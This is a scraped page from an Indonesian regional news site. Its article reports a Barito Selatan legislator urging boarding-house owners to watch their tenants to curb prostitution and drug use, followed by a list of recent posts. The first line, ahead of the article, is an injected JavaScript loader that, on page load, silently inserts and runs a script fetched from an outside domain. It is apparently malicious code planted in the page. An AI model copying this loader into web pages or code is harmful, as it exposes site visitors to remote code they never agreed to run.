(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Barsel

Pemilik Kos Diminta Pantau Penghuninya


BUNTOK, Legislator Dewan Perwakilan Rakyat Daerah (DPRD) Barito Selatan (Barsel) meminta pemilik kos memantau setiap penghuni yang menyewa tempat tinggal miliknya.

“Upaya pencegahan prostitusi di kos-kos dan barak, pemilik harus selalu mengawasi setiap pengunjung yang menyewakan kos maupun barak miliknya,” kata Rusinah Andelen, anggota DPRD Barsel kepada Kanalkalimantan.com, Sabtu (18/5).

Hal tersebut lebih tepat dari pada pihak berwajib melakukan penyisiran terhadap kos maupun barak. Jika petugas datang tiba-tiba dan melakukan pemeriksaan semua kamar kos justru akan menimbulkan tanda tanya bagi masyarakat.

“Masyarakat nantinya akan menduga-duga kos A yang beralamat di jalan ini dijadikan tempat prostitusi, padahal kenyataannya tidaklah demikian. Akhirnya penghuni yang ada meninggalkan kos itu, inilah yang saya tidak setuju kos dilakukan penyisiran,” tegas wanita yang juga akrap disapa Duin.

Namun masih kata Duin, ia mendukung razia jika hal itu dilakukan karena sebelumnya adanya laporan dugaan penyalahgunaan tempat tinggal misalnya sebagai lokasi mesum dan tempat pesta narkoba.

“Apabila memang ada oknum yang menjadikan kos sebagai tempat prostitusi, tempat pesta narkoba maka lokasi itu wajib dilaporkan untuk segera dilakukan tindakan tegas,” ujarnya.

Semua hal yang dilakukan langkah paling tepat untuk mencegah penyalahgunaan barak dan kos ialah keterlibatan pemilik kos dengan penerapan aturan yang tegas.

“Misalnya, siapa saja yang tinggal, apakah sedang menempuh pendidikan atau bekerja, berkeluarga atau tidak dan pemberlakuan batas tamu berkunjung. Dari data sederhana seperti ini, pemilik kos dapat aktif melakukan pemantauan, sehingga penggunaan kos sebagai ajang mesum dapat diminimalisir,” tutur Duin.

Namun, kendala ialah keberadaan pemilik kos yang jauh dari lokasi penyewaan yang dimilikinya. Akibatnya dari pantauan yang tidak secara terus menerus dapat dilakukan.

“Apabila diduga kuat salah satu penghuni kos digunakan untuk perbuatan mesum segera dilaporkan baik ke RT/RW maupun ke Satpol PP untuk diambil tindakan,” pinta Duin.

Selanjutnya ia mengimbau seluruh masyarakat apabila mengetahui adanya tindakan negatif seperti perbuatan asusila, perselingkuhan dan perbuatan mesum lainnya untuk segera dilaporkan.

“Seluruh masyarakat Buntok untuk aktif melakukan pengawasan karena Masyarakat merupakan kontrol terdekat dalam melakukan pengawasan,” pungkas Duin. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

24 menit ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

2 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

2 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

6 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

6 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

7 jam ago

This website uses cookies.